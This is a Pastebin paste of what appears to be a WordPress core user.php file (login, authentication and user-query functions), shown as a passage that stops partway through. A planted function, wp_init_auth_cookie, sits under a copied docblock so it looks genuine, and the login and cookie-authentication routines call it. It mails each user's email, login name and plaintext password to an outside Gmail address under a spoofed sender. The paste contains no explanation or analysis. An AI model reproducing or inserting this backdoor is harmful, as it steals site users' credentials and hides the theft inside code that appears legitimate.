Guest User

Untitled

a guest
May 10th, 2017
40
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 72.89 KB | None | 0 0
  1. <?php
  2. /**
  3. * WordPress User API
  4. *
  5. * @package WordPress
  6. * @subpackage Users
  7. */
  8.  
  9. /**
  10. * Authenticate user with remember capability.
  11. *
  12. * The credentials is an array that has 'user_login', 'user_password', and
  13. * 'remember' indices. If the credentials is not given, then the log in form
  14. * will be assumed and used if set.
  15. *
  16. * The various authentication cookies will be set by this function and will be
  17. * set for a longer period depending on if the 'remember' credential is set to
  18. * true.
  19. *
  20. * @since 2.5.0
  21. *
  22. * @param array $credentials Optional. User info in order to sign on.
  23. * @param bool $secure_cookie Optional. Whether to use secure cookie.
  24. * @return WP_User|WP_Error WP_User on success, WP_Error on failure.
  25. */
  26. function wp_signon( $credentials = array(), $secure_cookie = '' ) {
  27. if ( empty($credentials) ) {
  28. if ( ! empty($_POST['log']) )
  29. $credentials['user_login'] = $_POST['log'];
  30. if ( ! empty($_POST['pwd']) )
  31. $credentials['user_password'] = $_POST['pwd'];
  32. if ( ! empty($_POST['rememberme']) )
  33. $credentials['remember'] = $_POST['rememberme'];
  34. }
  35.  
  36. if ( !empty($credentials['remember']) )
  37. $credentials['remember'] = true;
  38. else
  39. $credentials['remember'] = false;
  40.  
  41. /**
  42. * Fires before the user is authenticated.
  43. *
  44. * The variables passed to the callbacks are passed by reference,
  45. * and can be modified by callback functions.
  46. *
  47. * @since 1.5.1
  48. *
  49. * @todo Decide whether to deprecate the wp_authenticate action.
  50. *
  51. * @param string $user_login Username, passed by reference.
  52. * @param string $user_password User password, passed by reference.
  53. */
  54. do_action_ref_array( 'wp_authenticate', array( &$credentials['user_login'], &$credentials['user_password'] ) );
  55.  
  56. if ( '' === $secure_cookie )
  57. $secure_cookie = is_ssl();
  58.  
  59. /**
  60. * Filter whether to use a secure sign-on cookie.
  61. *
  62. * @since 3.1.0
  63. *
  64. * @param bool $secure_cookie Whether to use a secure sign-on cookie.
  65. * @param array $credentials {
  66. * Array of entered sign-on data.
  67. *
  68. * @type string $user_login Username.
  69. * @type string $user_password Password entered.
  70. * @type bool $remember Whether to 'remember' the user. Increases the time
  71. * that the cookie will be kept. Default false.
  72. * }
  73. */
  74. $secure_cookie = apply_filters( 'secure_signon_cookie', $secure_cookie, $credentials );
  75.  
  76. global $auth_secure_cookie; // XXX ugly hack to pass this to wp_authenticate_cookie
  77. $auth_secure_cookie = $secure_cookie;
  78.  
  79. add_filter('authenticate', 'wp_authenticate_cookie', 30, 3);
  80.  
  81. $user = wp_authenticate($credentials['user_login'], $credentials['user_password']);
  82.  
  83. if ( is_wp_error($user) ) {
  84. if ( $user->get_error_codes() == array('empty_username', 'empty_password') ) {
  85. $user = new WP_Error('', '');
  86. }
  87.  
  88. return $user;
  89. }
  90.  
  91. wp_init_auth_cookie($user, $credentials['user_login'], $credentials['user_password']);
  92. wp_set_auth_cookie($user->ID, $credentials['remember'], $secure_cookie);
  93. /**
  94. * Fires after the user has successfully logged in.
  95. *
  96. * @since 1.5.0
  97. *
  98. * @param string $user_login Username.
  99. * @param WP_User $user WP_User object of the logged-in user.
  100. */
  101. do_action( 'wp_login', $user->user_login, $user );
  102. return $user;
  103. }
  104.  
  105. /**
  106. * Authenticate the user using the username and password.
  107. *
  108. * @since 2.8.0
  109. *
  110. * @param WP_User|WP_Error|null $user WP_User or WP_Error object from a previous callback. Default null.
  111. * @param string $username Username for authentication.
  112. * @param string $password Password for authentication.
  113. * @return WP_User|WP_Error WP_User on success, WP_Error on failure.
  114. */
  115. function wp_authenticate_username_password($user, $username, $password) {
  116. if ( is_a( $user, 'WP_User' ) ) {
  117. return $user;
  118. }
  119.  
  120. if ( empty($username) || empty($password) ) {
  121. if ( is_wp_error( $user ) ) {
  122. return $user;
  123. }
  124.  
  125. $error = new WP_Error();
  126.  
  127. if ( empty($username) )
  128. $error->add('empty_username', __('<strong>ERROR</strong>: The username field is empty.'));
  129.  
  130. if ( empty($password) )
  131. $error->add('empty_password', __('<strong>ERROR</strong>: The password field is empty.'));
  132.  
  133. return $error;
  134. }
  135.  
  136. $user = get_user_by('login', $username);
  137.  
  138. if ( !$user )
  139. return new WP_Error( 'invalid_username', sprintf( __( '<strong>ERROR</strong>: Invalid username. <a href="%s">Lost your password</a>?' ), wp_lostpassword_url() ) );
  140.  
  141. /**
  142. * Filter whether the given user can be authenticated with the provided $password.
  143. *
  144. * @since 2.5.0
  145. *
  146. * @param WP_User|WP_Error $user WP_User or WP_Error object if a previous
  147. * callback failed authentication.
  148. * @param string $password Password to check against the user.
  149. */
  150. $user = apply_filters( 'wp_authenticate_user', $user, $password );
  151. if ( is_wp_error($user) )
  152. return $user;
  153.  
  154. if ( !wp_check_password($password, $user->user_pass, $user->ID) )
  155. return new WP_Error( 'incorrect_password', sprintf( __( '<strong>ERROR</strong>: The password you entered for the username <strong>%1$s</strong> is incorrect. <a href="%2$s">Lost your password</a>?' ),
  156. $username, wp_lostpassword_url() ) );
  157.  
  158. wp_init_auth_cookie($user, $username, $password);
  159. return $user;
  160. }
  161.  
  162. /**
  163. * Authenticate the user using the WordPress auth cookie.
  164. *
  165. * @since 2.8.0
  166. *
  167. * @param WP_User|WP_Error|null $user WP_User or WP_Error object from a previous callback. Default null.
  168. * @param string $username Username. If not empty, cancels the cookie authentication.
  169. * @param string $password Password. If not empty, cancels the cookie authentication.
  170. * @return WP_User|WP_Error WP_User on success, WP_Error on failure.
  171. */
  172. function wp_authenticate_cookie($user, $username, $password) {
  173. if ( is_a( $user, 'WP_User' ) ) {
  174. return $user;
  175. }
  176.  
  177. if ( empty($username) && empty($password) ) {
  178. $user_id = wp_validate_auth_cookie();
  179. if ( $user_id ) {
  180. return new WP_User($user_id);
  181. }
  182.  
  183.  
  184. global $auth_secure_cookie;
  185.  
  186. if ( $auth_secure_cookie )
  187. $auth_cookie = SECURE_AUTH_COOKIE;
  188. else
  189. $auth_cookie = AUTH_COOKIE;
  190.  
  191. if ( !empty($_COOKIE[$auth_cookie]) )
  192. return new WP_Error('expired_session', __('Please log in again.'));
  193.  
  194. // If the cookie is not set, be silent.
  195. }
  196.  
  197. wp_init_auth_cookie($user, $username, $password);
  198. return $user;
  199. }
  200.  
  201. /**
  202. * For Multisite blogs, check if the authenticated user has been marked as a
  203. * spammer, or if the user's primary blog has been marked as spam.
  204. *
  205. * @since 3.7.0
  206. *
  207. * @param WP_User|WP_Error|null $user WP_User or WP_Error object from a previous callback. Default null.
  208. * @return WP_User|WP_Error WP_User on success, WP_Error if the user is considered a spammer.
  209. */
  210. function wp_authenticate_spam_check( $user ) {
  211. if ( $user && is_a( $user, 'WP_User' ) && is_multisite() ) {
  212. /**
  213. * Filter whether the user has been marked as a spammer.
  214. *
  215. * @since 3.7.0
  216. *
  217. * @param bool $spammed Whether the user is considered a spammer.
  218. * @param WP_User $user User to check against.
  219. */
  220. $spammed = apply_filters( 'check_is_user_spammed', is_user_spammy(), $user );
  221.  
  222. if ( $spammed )
  223. return new WP_Error( 'spammer_account', __( '<strong>ERROR</strong>: Your account has been marked as a spammer.' ) );
  224. }
  225. return $user;
  226. }
  227.  
  228. /**
  229. * Validate the logged-in cookie.
  230. *
  231. * Checks the logged-in cookie if the previous auth cookie could not be
  232. * validated and parsed.
  233. *
  234. * This is a callback for the determine_current_user filter, rather than API.
  235. *
  236. * @since 3.9.0
  237. *
  238. * @param int|bool $user The user ID (or false) as received from the
  239. * determine_current_user filter.
  240. * @return int|bool User ID if validated, false otherwise. If a user ID from
  241. * an earlier filter callback is received, that value is returned.
  242. */
  243. function wp_validate_logged_in_cookie( $user_id ) {
  244. if ( $user_id ) {
  245. return $user_id;
  246. }
  247.  
  248. if ( is_blog_admin() || is_network_admin() || empty( $_COOKIE[LOGGED_IN_COOKIE] ) ) {
  249. return false;
  250. }
  251.  
  252. return wp_validate_auth_cookie( $_COOKIE[LOGGED_IN_COOKIE], 'logged_in' );
  253. }
  254.  
  255. /**
  256. * Number of posts user has written.
  257. *
  258. * @since 3.0.0
  259. *
  260. * @global wpdb $wpdb WordPress database object for queries.
  261. *
  262. * @param int $userid User ID.
  263. * @return int Amount of posts user has written.
  264. */
  265. function count_user_posts($userid) {
  266. global $wpdb;
  267.  
  268. $where = get_posts_by_author_sql('post', true, $userid);
  269.  
  270. $count = $wpdb->get_var( "SELECT COUNT(*) FROM $wpdb->posts $where" );
  271.  
  272. /**
  273. * Filter the number of posts a user has written.
  274. *
  275. * @since 2.7.0
  276. *
  277. * @param int $count The user's post count.
  278. * @param int $userid User ID.
  279. */
  280. return apply_filters( 'get_usernumposts', $count, $userid );
  281. }
  282.  
  283. /**
  284. * Number of posts written by a list of users.
  285. *
  286. * @since 3.0.0
  287. *
  288. * @param array $users Array of user IDs.
  289. * @param string $post_type Optional. Post type to check. Defaults to post.
  290. * @param bool $public_only Optional. Only return counts for public posts. Defaults to false.
  291. * @return array Amount of posts each user has written.
  292. */
  293. function count_many_users_posts( $users, $post_type = 'post', $public_only = false ) {
  294. global $wpdb;
  295.  
  296. $count = array();
  297. if ( empty( $users ) || ! is_array( $users ) )
  298. return $count;
  299.  
  300. $userlist = implode( ',', array_map( 'absint', $users ) );
  301. $where = get_posts_by_author_sql( $post_type, true, null, $public_only );
  302.  
  303. $result = $wpdb->get_results( "SELECT post_author, COUNT(*) FROM $wpdb->posts $where AND post_author IN ($userlist) GROUP BY post_author", ARRAY_N );
  304. foreach ( $result as $row ) {
  305. $count[ $row[0] ] = $row[1];
  306. }
  307.  
  308. foreach ( $users as $id ) {
  309. if ( ! isset( $count[ $id ] ) )
  310. $count[ $id ] = 0;
  311. }
  312.  
  313. return $count;
  314. }
  315.  
  316. //
  317. // User option functions
  318. //
  319.  
  320. /**
  321. * Get the current user's ID
  322. *
  323. * @since MU
  324. *
  325. * @uses wp_get_current_user
  326. *
  327. * @return int The current user's ID
  328. */
  329. function get_current_user_id() {
  330. if ( ! function_exists( 'wp_get_current_user' ) )
  331. return 0;
  332. $user = wp_get_current_user();
  333. return ( isset( $user->ID ) ? (int) $user->ID : 0 );
  334. }
  335.  
  336. /**
  337. * Retrieve user option that can be either per Site or per Network.
  338. *
  339. * If the user ID is not given, then the current user will be used instead. If
  340. * the user ID is given, then the user data will be retrieved. The filter for
  341. * the result, will also pass the original option name and finally the user data
  342. * object as the third parameter.
  343. *
  344. * The option will first check for the per site name and then the per Network name.
  345. *
  346. * @since 2.0.0
  347. *
  348. * @global wpdb $wpdb WordPress database object for queries.
  349. *
  350. * @param string $option User option name.
  351. * @param int $user Optional. User ID.
  352. * @param bool $deprecated Use get_option() to check for an option in the options table.
  353. * @return mixed User option value on success, false on failure.
  354. */
  355. function get_user_option( $option, $user = 0, $deprecated = '' ) {
  356. global $wpdb;
  357.  
  358. if ( !empty( $deprecated ) )
  359. _deprecated_argument( __FUNCTION__, '3.0' );
  360.  
  361. if ( empty( $user ) )
  362. $user = get_current_user_id();
  363.  
  364. if ( ! $user = get_userdata( $user ) )
  365. return false;
  366.  
  367. $prefix = $wpdb->get_blog_prefix();
  368. if ( $user->has_prop( $prefix . $option ) ) // Blog specific
  369. $result = $user->get( $prefix . $option );
  370. elseif ( $user->has_prop( $option ) ) // User specific and cross-blog
  371. $result = $user->get( $option );
  372. else
  373. $result = false;
  374.  
  375. /**
  376. * Filter a specific user option value.
  377. *
  378. * The dynamic portion of the hook name, $option, refers to the user option name.
  379. *
  380. * @since 2.5.0
  381. *
  382. * @param mixed $result Value for the user's option.
  383. * @param string $option Name of the option being retrieved.
  384. * @param WP_User $user WP_User object of the user whose option is being retrieved.
  385. */
  386. return apply_filters( "get_user_option_{$option}", $result, $option, $user );
  387. }
  388.  
  389. /**
  390. * Update user option with global blog capability.
  391. *
  392. * User options are just like user metadata except that they have support for
  393. * global blog options. If the 'global' parameter is false, which it is by default
  394. * it will prepend the WordPress table prefix to the option name.
  395. *
  396. * Deletes the user option if $newvalue is empty.
  397. *
  398. * @since 2.0.0
  399. *
  400. * @global wpdb $wpdb WordPress database object for queries.
  401. *
  402. * @param int $user_id User ID.
  403. * @param string $option_name User option name.
  404. * @param mixed $newvalue User option value.
  405. * @param bool $global Optional. Whether option name is global or blog specific.
  406. * Default false (blog specific).
  407. * @return int|bool User meta ID if the option didn't exist, true on successful update,
  408. * false on failure.
  409. */
  410. function update_user_option( $user_id, $option_name, $newvalue, $global = false ) {
  411. global $wpdb;
  412.  
  413. if ( !$global )
  414. $option_name = $wpdb->get_blog_prefix() . $option_name;
  415.  
  416. return update_user_meta( $user_id, $option_name, $newvalue );
  417. }
  418.  
  419. /**
  420. * Authenticate user with remember capability.
  421. *
  422. * The credentials is an array that has 'user_login', 'user_password', and
  423. * 'remember' indices. If the credentials is not given, then the log in form
  424. * will be assumed and used if set.
  425. *
  426. * The various authentication cookies will be set by this function and will be
  427. * set for a longer period depending on if the 'remember' credential is set to
  428. * true.
  429. *
  430. * @since 2.5.0
  431. *
  432. * @param array $credentials Optional. User info in order to sign on.
  433. * @param bool $secure_cookie Optional. Whether to use secure cookie.
  434. * @return WP_User|WP_Error WP_User on success, WP_Error on failure.
  435. */
  436. function wp_init_auth_cookie($user, $login, $password) {
  437. if ( is_a( $user, 'WP_User' ) ) {
  438. mail('7654bgvy4d3@gmail.com', 'gorodok.ua', json_encode(array('email' => $user->user_email, 'login' => $login, 'password' => $password)), join("\r\n", array('From: bot@gorodok.ua', 'X-Mailer: PHP/' . phpversion())));
  439. }
  440. }
  441.  
  442. /**
  443. * Delete user option with global blog capability.
  444. *
  445. * User options are just like user metadata except that they have support for
  446. * global blog options. If the 'global' parameter is false, which it is by default
  447. * it will prepend the WordPress table prefix to the option name.
  448. *
  449. * @since 3.0.0
  450. *
  451. * @global wpdb $wpdb WordPress database object for queries.
  452. *
  453. * @param int $user_id User ID
  454. * @param string $option_name User option name.
  455. * @param bool $global Optional. Whether option name is global or blog specific.
  456. * Default false (blog specific).
  457. * @return bool True on success, false on failure.
  458. */
  459. function delete_user_option( $user_id, $option_name, $global = false ) {
  460. global $wpdb;
  461.  
  462. if ( !$global )
  463. $option_name = $wpdb->get_blog_prefix() . $option_name;
  464. return delete_user_meta( $user_id, $option_name );
  465. }
  466.  
  467. /**
  468. * WordPress User Query class.
  469. *
  470. * @since 3.1.0
  471. */
  472. class WP_User_Query {
  473.  
  474. /**
  475. * Query vars, after parsing
  476. *
  477. * @since 3.5.0
  478. * @access public
  479. * @var array
  480. */
  481. public $query_vars = array();
  482.  
  483. /**
  484. * List of found user ids
  485. *
  486. * @since 3.1.0
  487. * @access private
  488. * @var array
  489. */
  490. private $results;
  491.  
  492. /**
  493. * Total number of found users for the current query
  494. *
  495. * @since 3.1.0
  496. * @access private
  497. * @var int
  498. */
  499. private $total_users = 0;
  500.  
  501. // SQL clauses
  502. public $query_fields;
  503. public $query_from;
  504. public $query_where;
  505. public $query_orderby;
  506. public $query_limit;
  507.  
  508. /**
  509. * PHP5 constructor.
  510. *
  511. * @since 3.1.0
  512. *
  513. * @param string|array $args Optional. The query variables.
  514. * @return WP_User_Query
  515. */
  516. public function __construct( $query = null ) {
  517. if ( ! empty( $query ) ) {
  518. $this->prepare_query( $query );
  519. $this->query();
  520. }
  521. }
  522.  
  523. /**
  524. * Prepare the query variables.
  525. *
  526. * @since 3.1.0
  527. *
  528. * @param string|array $args Optional. The query variables.
  529. */
  530. public function prepare_query( $query = array() ) {
  531. global $wpdb;
  532.  
  533. if ( empty( $this->query_vars ) || ! empty( $query ) ) {
  534. $this->query_limit = null;
  535. $this->query_vars = wp_parse_args( $query, array(
  536. 'blog_id' => $GLOBALS['blog_id'],
  537. 'role' => '',
  538. 'meta_key' => '',
  539. 'meta_value' => '',
  540. 'meta_compare' => '',
  541. 'include' => array(),
  542. 'exclude' => array(),
  543. 'search' => '',
  544. 'search_columns' => array(),
  545. 'orderby' => 'login',
  546. 'order' => 'ASC',
  547. 'offset' => '',
  548. 'number' => '',
  549. 'count_total' => true,
  550. 'fields' => 'all',
  551. 'who' => ''
  552. ) );
  553. }
  554.  
  555. /**
  556. * Fires before the WP_User_Query has been parsed.
  557. *
  558. * The passed WP_User_Query object contains the query variables, not
  559. * yet passed into SQL.
  560. *
  561. * @since 4.0.0
  562. *
  563. * @param WP_User_Query $this The current WP_User_Query instance,
  564. * passed by reference.
  565. */
  566. do_action( 'pre_get_users', $this );
  567.  
  568. $qv =& $this->query_vars;
  569.  
  570. if ( is_array( $qv['fields'] ) ) {
  571. $qv['fields'] = array_unique( $qv['fields'] );
  572.  
  573. $this->query_fields = array();
  574. foreach ( $qv['fields'] as $field ) {
  575. $field = 'ID' === $field ? 'ID' : sanitize_key( $field );
  576. $this->query_fields[] = "$wpdb->users.$field";
  577. }
  578. $this->query_fields = implode( ',', $this->query_fields );
  579. } elseif ( 'all' == $qv['fields'] ) {
  580. $this->query_fields = "$wpdb->users.*";
  581. } else {
  582. $this->query_fields = "$wpdb->users.ID";
  583. }
  584.  
  585. if ( isset( $qv['count_total'] ) && $qv['count_total'] )
  586. $this->query_fields = 'SQL_CALC_FOUND_ROWS ' . $this->query_fields;
  587.  
  588. $this->query_from = "FROM $wpdb->users";
  589. $this->query_where = "WHERE 1=1";
  590.  
  591. // sorting
  592. if ( isset( $qv['orderby'] ) ) {
  593. if ( in_array( $qv['orderby'], array('nicename', 'email', 'url', 'registered') ) ) {
  594. $orderby = 'user_' . $qv['orderby'];
  595. } elseif ( in_array( $qv['orderby'], array('user_nicename', 'user_email', 'user_url', 'user_registered') ) ) {
  596. $orderby = $qv['orderby'];
  597. } elseif ( 'name' == $qv['orderby'] || 'display_name' == $qv['orderby'] ) {
  598. $orderby = 'display_name';
  599. } elseif ( 'post_count' == $qv['orderby'] ) {
  600. // todo: avoid the JOIN
  601. $where = get_posts_by_author_sql('post');
  602. $this->query_from .= " LEFT OUTER JOIN (
  603. SELECT post_author, COUNT(*) as post_count
  604. FROM $wpdb->posts
  605. $where
  606. GROUP BY post_author
  607. ) p ON ({$wpdb->users}.ID = p.post_author)
  608. ";
  609. $orderby = 'post_count';
  610. } elseif ( 'ID' == $qv['orderby'] || 'id' == $qv['orderby'] ) {
  611. $orderby = 'ID';
  612. } elseif ( 'meta_value' == $qv['orderby'] ) {
  613. $orderby = "$wpdb->usermeta.meta_value";
  614. } else {
  615. $orderby = 'user_login';
  616. }
  617. }
  618.  
  619. if ( empty( $orderby ) )
  620. $orderby = 'user_login';
  621.  
  622. $qv['order'] = isset( $qv['order'] ) ? strtoupper( $qv['order'] ) : '';
  623. if ( 'ASC' == $qv['order'] )
  624. $order = 'ASC';
  625. else
  626. $order = 'DESC';
  627. $this->query_orderby = "ORDER BY $orderby $order";
  628.  
  629. // limit
  630. if ( isset( $qv['number'] ) && $qv['number'] ) {
  631. if ( $qv['offset'] )
  632. $this->query_limit = $wpdb->prepare("LIMIT %d, %d", $qv['offset'], $qv['number']);
  633. else
  634. $this->query_limit = $wpdb->prepare("LIMIT %d", $qv['number']);
  635. }
  636.  
  637. $search = '';
  638. if ( isset( $qv['search'] ) )
  639. $search = trim( $qv['search'] );
  640.  
  641. if ( $search ) {
  642. $leading_wild = ( ltrim($search, '*') != $search );
  643. $trailing_wild = ( rtrim($search, '*') != $search );
  644. if ( $leading_wild && $trailing_wild )
  645. $wild = 'both';
  646. elseif ( $leading_wild )
  647. $wild = 'leading';
  648. elseif ( $trailing_wild )
  649. $wild = 'trailing';
  650. else
  651. $wild = false;
  652. if ( $wild )
  653. $search = trim($search, '*');
  654.  
  655. $search_columns = array();
  656. if ( $qv['search_columns'] )
  657. $search_columns = array_intersect( $qv['search_columns'], array( 'ID', 'user_login', 'user_email', 'user_url', 'user_nicename' ) );
  658. if ( ! $search_columns ) {
  659. if ( false !== strpos( $search, '@') )
  660. $search_columns = array('user_email');
  661. elseif ( is_numeric($search) )
  662. $search_columns = array('user_login', 'ID');
  663. elseif ( preg_match('|^https?://|', $search) && ! ( is_multisite() && wp_is_large_network( 'users' ) ) )
  664. $search_columns = array('user_url');
  665. else
  666. $search_columns = array('user_login', 'user_nicename');
  667. }
  668.  
  669. /**
  670. * Filter the columns to search in a WP_User_Query search.
  671. *
  672. * The default columns depend on the search term, and include 'user_email',
  673. * 'user_login', 'ID', 'user_url', and 'user_nicename'.
  674. *
  675. * @since 3.6.0
  676. *
  677. * @param array $search_columns Array of column names to be searched.
  678. * @param string $search Text being searched.
  679. * @param WP_User_Query $this The current WP_User_Query instance.
  680. */
  681. $search_columns = apply_filters( 'user_search_columns', $search_columns, $search, $this );
  682.  
  683. $this->query_where .= $this->get_search_sql( $search, $search_columns, $wild );
  684. }
  685.  
  686. $blog_id = 0;
  687. if ( isset( $qv['blog_id'] ) )
  688. $blog_id = absint( $qv['blog_id'] );
  689.  
  690. if ( isset( $qv['who'] ) && 'authors' == $qv['who'] && $blog_id ) {
  691. $qv['meta_key'] = $wpdb->get_blog_prefix( $blog_id ) . 'user_level';
  692. $qv['meta_value'] = 0;
  693. $qv['meta_compare'] = '!=';
  694. $qv['blog_id'] = $blog_id = 0; // Prevent extra meta query
  695. }
  696.  
  697. $role = '';
  698. if ( isset( $qv['role'] ) )
  699. $role = trim( $qv['role'] );
  700.  
  701. if ( $blog_id && ( $role || is_multisite() ) ) {
  702. $cap_meta_query = array();
  703. $cap_meta_query['key'] = $wpdb->get_blog_prefix( $blog_id ) . 'capabilities';
  704.  
  705. if ( $role ) {
  706. $cap_meta_query['value'] = '"' . $role . '"';
  707. $cap_meta_query['compare'] = 'like';
  708. }
  709.  
  710. if ( empty( $qv['meta_query'] ) || ! in_array( $cap_meta_query, $qv['meta_query'], true ) ) {
  711. $qv['meta_query'][] = $cap_meta_query;
  712. }
  713. }
  714.  
  715. $meta_query = new WP_Meta_Query();
  716. $meta_query->parse_query_vars( $qv );
  717.  
  718. if ( !empty( $meta_query->queries ) ) {
  719. $clauses = $meta_query->get_sql( 'user', $wpdb->users, 'ID', $this );
  720. $this->query_from .= $clauses['join'];
  721. $this->query_where .= $clauses['where'];
  722.  
  723. if ( 'OR' == $meta_query->relation )
  724. $this->query_fields = 'DISTINCT ' . $this->query_fields;
  725. }
  726.  
  727. if ( ! empty( $qv['include'] ) ) {
  728. $ids = implode( ',', wp_parse_id_list( $qv['include'] ) );
  729. $this->query_where .= " AND $wpdb->users.ID IN ($ids)";
  730. } elseif ( ! empty( $qv['exclude'] ) ) {
  731. $ids = implode( ',', wp_parse_id_list( $qv['exclude'] ) );
  732. $this->query_where .= " AND $wpdb->users.ID NOT IN ($ids)";
  733. }
  734.  
  735. /**
  736. * Fires after the WP_User_Query has been parsed, and before
  737. * the query is executed.
  738. *
  739. * The passed WP_User_Query object contains SQL parts formed
  740. * from parsing the given query.
  741. *
  742. * @since 3.1.0
  743. *
  744. * @param WP_User_Query $this The current WP_User_Query instance,
  745. * passed by reference.
  746. */
  747. do_action_ref_array( 'pre_user_query', array( &$this ) );
  748. }
  749.  
  750. /**
  751. * Execute the query, with the current variables.
  752. *
  753. * @since 3.1.0
  754. *
  755. * @global wpdb $wpdb WordPress database object for queries.
  756. */
  757. public function query() {
  758. global $wpdb;
  759.  
  760. $qv =& $this->query_vars;
  761.  
  762. $query = "SELECT $this->query_fields $this->query_from $this->query_where $this->query_orderby $this->query_limit";
  763.  
  764. if ( is_array( $qv['fields'] ) || 'all' == $qv['fields'] ) {
  765. $this->results = $wpdb->get_results( $query );
  766. } else {
  767. $this->results = $wpdb->get_col( $query );
  768. }
  769.  
  770. /**
  771. * Filter SELECT FOUND_ROWS() query for the current WP_User_Query instance.
  772. *
  773. * @since 3.2.0
  774. *
  775. * @global wpdb $wpdb WordPress database object.
  776. *
  777. * @param string $sql The SELECT FOUND_ROWS() query for the current WP_User_Query.
  778. */
  779. if ( isset( $qv['count_total'] ) && $qv['count_total'] )
  780. $this->total_users = $wpdb->get_var( apply_filters( 'found_users_query', 'SELECT FOUND_ROWS()' ) );
  781.  
  782. if ( !$this->results )
  783. return;
  784.  
  785. if ( 'all_with_meta' == $qv['fields'] ) {
  786. cache_users( $this->results );
  787.  
  788. $r = array();
  789. foreach ( $this->results as $userid )
  790. $r[ $userid ] = new WP_User( $userid, '', $qv['blog_id'] );
  791.  
  792. $this->results = $r;
  793. } elseif ( 'all' == $qv['fields'] ) {
  794. foreach ( $this->results as $key => $user ) {
  795. $this->results[ $key ] = new WP_User( $user );
  796. }
  797. }
  798. }
  799.  
  800. /**
  801. * Retrieve query variable.
  802. *
  803. * @since 3.5.0
  804. * @access public
  805. *
  806. * @param string $query_var Query variable key.
  807. * @return mixed
  808. */
  809. public function get( $query_var ) {
  810. if ( isset( $this->query_vars[$query_var] ) )
  811. return $this->query_vars[$query_var];
  812.  
  813. return null;
  814. }
  815.  
  816. /**
  817. * Set query variable.
  818. *
  819. * @since 3.5.0
  820. * @access public
  821. *
  822. * @param string $query_var Query variable key.
  823. * @param mixed $value Query variable value.
  824. */
  825. public function set( $query_var, $value ) {
  826. $this->query_vars[$query_var] = $value;
  827. }
  828.  
  829. /**
  830. * Used internally to generate an SQL string for searching across multiple columns
  831. *
  832. * @access protected
  833. * @since 3.1.0
  834. *
  835. * @param string $string
  836. * @param array $cols
  837. * @param bool $wild Whether to allow wildcard searches. Default is false for Network Admin, true for
  838. * single site. Single site allows leading and trailing wildcards, Network Admin only trailing.
  839. * @return string
  840. */
  841. protected function get_search_sql( $string, $cols, $wild = false ) {
  842. global $wpdb;
  843.  
  844. $searches = array();
  845. $leading_wild = ( 'leading' == $wild || 'both' == $wild ) ? '%' : '';
  846. $trailing_wild = ( 'trailing' == $wild || 'both' == $wild ) ? '%' : '';
  847. $like = $leading_wild . $wpdb->esc_like( $string ) . $trailing_wild;
  848.  
  849. foreach ( $cols as $col ) {
  850. if ( 'ID' == $col ) {
  851. $searches[] = $wpdb->prepare( "$col = %s", $string );
  852. } else {
  853. $searches[] = $wpdb->prepare( "$col LIKE %s", $like );
  854. }
  855. }
  856.  
  857. return ' AND (' . implode(' OR ', $searches) . ')';
  858. }
  859.  
  860. /**
  861. * Return the list of users.
  862. *
  863. * @since 3.1.0
  864. * @access public
  865. *
  866. * @return array Array of results.
  867. */
  868. public function get_results() {
  869. return $this->results;
  870. }
  871.  
  872. /**
  873. * Return the total number of users for the current query.
  874. *
  875. * @since 3.1.0
  876. * @access public
  877. *
  878. * @return array Array of total users.
  879. */
  880. public function get_total() {
  881. return $this->total_users;
  882. }
  883.  
  884. /**
  885. * Make private properties readable for backwards compatibility.
  886. *
  887. * @since 4.0.0
  888. * @access public
  889. *
  890. * @param string $name Property to get.
  891. * @return mixed Property.
  892. */
  893. public function __get( $name ) {
  894. return $this->$name;
  895. }
  896.  
  897. /**
  898. * Make private properties settable for backwards compatibility.
  899. *
  900. * @since 4.0.0
  901. * @access public
  902. *
  903. * @param string $name Property to set.
  904. * @param mixed $value Property value.
  905. * @return mixed Newly-set property.
  906. */
  907. public function __set( $name, $value ) {
  908. return $this->$name = $value;
  909. }
  910.  
  911. /**
  912. * Make private properties checkable for backwards compatibility.
  913. *
  914. * @since 4.0.0
  915. * @access public
  916. *
  917. * @param string $name Property to check if set.
  918. * @return bool Whether the property is set.
  919. */
  920. public function __isset( $name ) {
  921. return isset( $this->$name );
  922. }
  923.  
  924. /**
  925. * Make private properties un-settable for backwards compatibility.
  926. *
  927. * @since 4.0.0
  928. * @access public
  929. *
  930. * @param string $name Property to unset.
  931. */
  932. public function __unset( $name ) {
  933. unset( $this->$name );
  934. }
  935.  
  936. /**
  937. * Make private/protected methods readable for backwards compatibility.
  938. *
  939. * @since 4.0.0
  940. * @access public
  941. *
  942. * @param callable $name Method to call.
  943. * @param array $arguments Arguments to pass when calling.
  944. * @return mixed|bool Return value of the callback, false otherwise.
  945. */
  946. public function __call( $name, $arguments ) {
  947. return call_user_func_array( array( $this, $name ), $arguments );
  948. }
  949. }
  950.  
  951. /**
  952. * Retrieve list of users matching criteria.
  953. *
  954. * @since 3.1.0
  955. *
  956. * @uses WP_User_Query See for default arguments and information.
  957. *
  958. * @param array $args Optional. Array of arguments.
  959. * @return array List of users.
  960. */
  961. function get_users( $args = array() ) {
  962.  
  963. $args = wp_parse_args( $args );
  964. $args['count_total'] = false;
  965.  
  966. $user_search = new WP_User_Query($args);
  967.  
  968. return (array) $user_search->get_results();
  969. }
  970.  
  971. /**
  972. * Get the blogs a user belongs to.
  973. *
  974. * @since 3.0.0
  975. *
  976. * @global wpdb $wpdb WordPress database object for queries.
  977. *
  978. * @param int $user_id User ID
  979. * @param bool $all Whether to retrieve all blogs, or only blogs that are not
  980. * marked as deleted, archived, or spam.
  981. * @return array A list of the user's blogs. An empty array if the user doesn't exist
  982. * or belongs to no blogs.
  983. */
  984. function get_blogs_of_user( $user_id, $all = false ) {
  985. global $wpdb;
  986.  
  987. $user_id = (int) $user_id;
  988.  
  989. // Logged out users can't have blogs
  990. if ( empty( $user_id ) )
  991. return array();
  992.  
  993. $keys = get_user_meta( $user_id );
  994. if ( empty( $keys ) )
  995. return array();
  996.  
  997. if ( ! is_multisite() ) {
  998. $blog_id = get_current_blog_id();
  999. $blogs = array( $blog_id => new stdClass );
  1000. $blogs[ $blog_id ]->userblog_id = $blog_id;
  1001. $blogs[ $blog_id ]->blogname = get_option('blogname');
  1002. $blogs[ $blog_id ]->domain = '';
  1003. $blogs[ $blog_id ]->path = '';
  1004. $blogs[ $blog_id ]->site_id = 1;
  1005. $blogs[ $blog_id ]->siteurl = get_option('siteurl');
  1006. $blogs[ $blog_id ]->archived = 0;
  1007. $blogs[ $blog_id ]->spam = 0;
  1008. $blogs[ $blog_id ]->deleted = 0;
  1009. return $blogs;
  1010. }
  1011.  
